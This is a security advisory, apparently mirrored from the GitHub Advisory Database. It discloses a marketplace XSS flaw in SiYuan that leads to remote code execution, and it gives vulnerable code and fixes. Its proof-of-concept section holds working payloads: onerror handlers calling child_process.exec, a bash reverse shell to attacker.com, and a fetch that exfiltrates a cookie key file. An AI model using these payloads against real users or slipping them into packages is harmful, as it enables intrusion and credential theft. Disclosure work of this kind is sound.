github.com/siyuan-note/siyuan/kernel
Affected
- introduced
0, last affected0.0.0-20260313024916-fd6526133bb3(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-56397, GO-2026-4720
SiYuan Vulnerable to Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
Remote Code Execution via Malicious Bazaar Package — Marketplace XSS
Summary
SiYuan's Bazaar (community marketplace) renders plugin/theme/template metadata and README content without sanitization. A malicious package author can achieve RCE on any user who browses the Bazaar by:
displayName and description fields are injected directly into HTML via template literals without escaping. Just loading the Bazaar page triggers execution.renderREADME function uses lute.New() without SetSanitize(true), so raw HTML in the README passes through to innerHTML unsanitized.Both vectors execute in Electron's renderer with nodeIntegration: true and contextIsolation: false, giving full OS command execution.
Affected Component
app/src/config/bazaar.ts:275-277kernel/bazaar/package.go:635-645 (renderREADME)app/src/config/bazaar.ts:607 (innerHTML)app/electron/main.js:422-426 (nodeIntegration: true)Vulnerable Code
Vector 1: Package metadata — no HTML escaping (bazaar.ts:275-277)
// Package name injected directly into HTML template — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description injected directly — NO escaping
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>
Note: The title attribute uses escapeAttr(), but the actual text content does not — inconsistent escaping.
Vector 2: README rendering — no Lute sanitization (package.go:635-645)
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New() // Fresh Lute instance — SetSanitize NOT called
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
linkBase := "https://cdn.jsdelivr.net/gh/" + ...
luteEngine.SetLinkBase(linkBase)
ret = luteEngine.Md2HTML(string(mdData)) // Raw HTML in markdown preserved
return
}
Compare with the SiYuan note renderer in kernel/util/lute.go:81:
luteEngine.SetSanitize(true) // Notes ARE sanitized — but README is NOT
Frontend innerHTML injection (bazaar.ts:607)
fetchPost("/api/bazaar/getBazaarPackageREADME", {...}, response => {
mdElement.innerHTML = response.data.html; // Unsanitized HTML from README
});
Proof of Concept
Vector 1: Malicious package manifest (zero-click RCE)
A malicious plugin.json (or theme.json, template.json):
{
"name": "helpful-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "A helpful plugin<img src=x onerror=\"require('child_process').exec('id>/tmp/pwned')\">"
},
"version": "1.0.0"
}
When any user opens the Bazaar page and this package is in the listing, the onerror handler fires automatically (since src=x fails to load), executing arbitrary OS commands.
Vector 2: Malicious README.md (one-click RCE)
# Helpful Plugin
This plugin does helpful things.
<img src=x onerror="require('child_process').exec('calc.exe')">
## Installation
Follow the usual steps.
When a user clicks on the package to view its README, the raw HTML is rendered via innerHTML without sanitization, executing the onerror handler.
Reverse shell via README
# Cool Theme
<img src=x onerror="require('child_process').exec('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')">
Data exfiltration via package name
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}
Attack Scenario
displayName or descriptionThe attacker doesn't need to trick the user into installing anything. Simply browsing the marketplace is enough.
Impact
nodeIntegration: trueSuggested Fix
1. Escape package metadata in template rendering (bazaar.ts)
// Use a proper HTML escape function
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"');
}
// Apply to all user-controlled metadata
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>
2. Enable Lute sanitization for README rendering (package.go)
func renderREADME(repoURL string, mdData []byte) (ret string, err error) {
luteEngine := lute.New()
luteEngine.SetSanitize(true) // ADD THIS
luteEngine.SetSoftBreak2HardBreak(false)
luteEngine.SetCodeSyntaxHighlight(false)
// ...
}
3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}Medium Basis: The source's own band: MODERATE
0, last affected 0.0.0-20260313024916-fd6526133bb3 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0